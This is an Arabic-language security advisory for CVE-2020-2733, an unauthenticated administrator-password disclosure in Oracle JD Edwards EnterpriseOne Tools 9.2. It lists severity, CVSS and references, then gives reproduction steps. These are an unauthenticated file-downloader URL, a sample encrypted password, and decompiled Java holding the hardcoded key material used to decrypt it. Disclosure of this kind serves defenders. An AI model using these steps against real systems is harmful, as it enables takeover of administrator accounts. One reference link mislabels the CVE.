
استغلال لـ CVE-2020-2733 في JD Edwards EnterpriseOne Tools، يوضح فك تشفير كلمة مرور المسؤول دون مصادقة وتجاوز المصادقة للحصول على حقوق المسؤول.
الصورة 1: فك تشفير السلسلة
الصورة 2: فك التشفير عن طريق إعطاء الرابط
التطبيق: JD Edwards EnterpriseOne Tools
الإصدارات المتأثرة: JD Edwards EnterpriseOne Tools 9.2
رابط المورّد: https://oracle.com/
الخطأ: كشف المعلومات
تاريخ الإبلاغ: 18 سبتمبر 2019
تاريخ النشرة الاستشارية العامة: 23 أغسطس 2022
المرجع: [https://www.oracle.com/security-alerts/cpuapr2020.html, https://redrays.io/cve-2020-2733-jd-edwards/]
قالب Nuclei للكشف: https://github.com/projectdiscovery/nuclei-templates/blob/68f0ad5fa2f54a08959e2d68633174750fcb4952/http/cves/2020/CVE-2020-2733.yaml#L2
معلومات النشرة الاستشارية
العنوان: [CVE-2020-2733] كلمة مرور المسؤول في JD Edwards EnterpriseOne Tools غير محمية بشكل كافٍ
مستوى الخطورة: حرج
رابط النشرة الاستشارية: https://redrays.io/cve-2020-6369-patch-bypass/
تاريخ النشر: 23.08.2022
قابلة للاستغلال عن بُعد: نعم
قابلة للاستغلال محليًا: لا
معلومات CVSS: درجة CVSS v3.1 الأساسية: 9.8 / 10 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
تسمح JD Edwards EnterpriseOne Tools 9.2 أو الإصدارات الأقدم للمهاجمين غير المصادَق عليهم بتجاوز المصادقة والحصول على صلاحيات المسؤول على النظام.
تم اكتشاف الثغرة في بوابة إدارة Oracle JD Edwards. لإعادة إنتاج الثغرة، تحتاج إلى فتح الرابط التالي (بدون مصادقة)
http://JDEdwards:8999/manage/fileDownloader?sec=1
عند فتح الرابط، يمكنك رؤية نص شبه عشوائي في الصفحة.

ACHCJKGJHCJKBLLALOLOJFCABEFHOALDDAOFNGGANPDB
بعد تحليل ملفات JD Edwards jar، اكتشفنا أن هذه البيانات شبه العشوائية هي – كلمة مرور المسؤول المشفرة!
توجد مفاتيح التشفير في الدالة التالية
private static void genKeys(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, byte paramByte)
{
int i = 0;
byte[] arrayOfByte1 = { 65, 4, 95, 12, 88, 41, 6, 114, 119, 93, 37, 68, 75, 19, 49, 46 };
byte[] arrayOfByte2 = { 107, 34, 26, 94, 68, 41, 119, 48, 3, 88, 28, 97, 5, Byte.MAX_VALUE, 77, 54 };
byte[] arrayOfByte3 = { 36, 89, 113, 109, 38, 15, 7, 66, 76, 115, 16, 53, 106, 94, 27, 56 };
int j = paramByte >> 4;
int k = paramByte & 0xF;
int m = arrayOfByte3[j];
for (i = 0; i < 16; i++) {
paramArrayOfByte1[i] = ((byte)(arrayOfByte1[i] ^ m));
}
m = arrayOfByte3[k];
for (i = 0; i < 16; i++) {
paramArrayOfByte2[i] = ((byte)(arrayOfByte2[i] ^ m));
}
}
ونتيجة لذلك، ستحصل على كلمة مرور المسؤول، ويمكنك نشر أي تطبيق في بوابة JD Edwards.

المرجع/ الفضل: https://redrays.io/blog/cve-2020-2733-jd-edwards/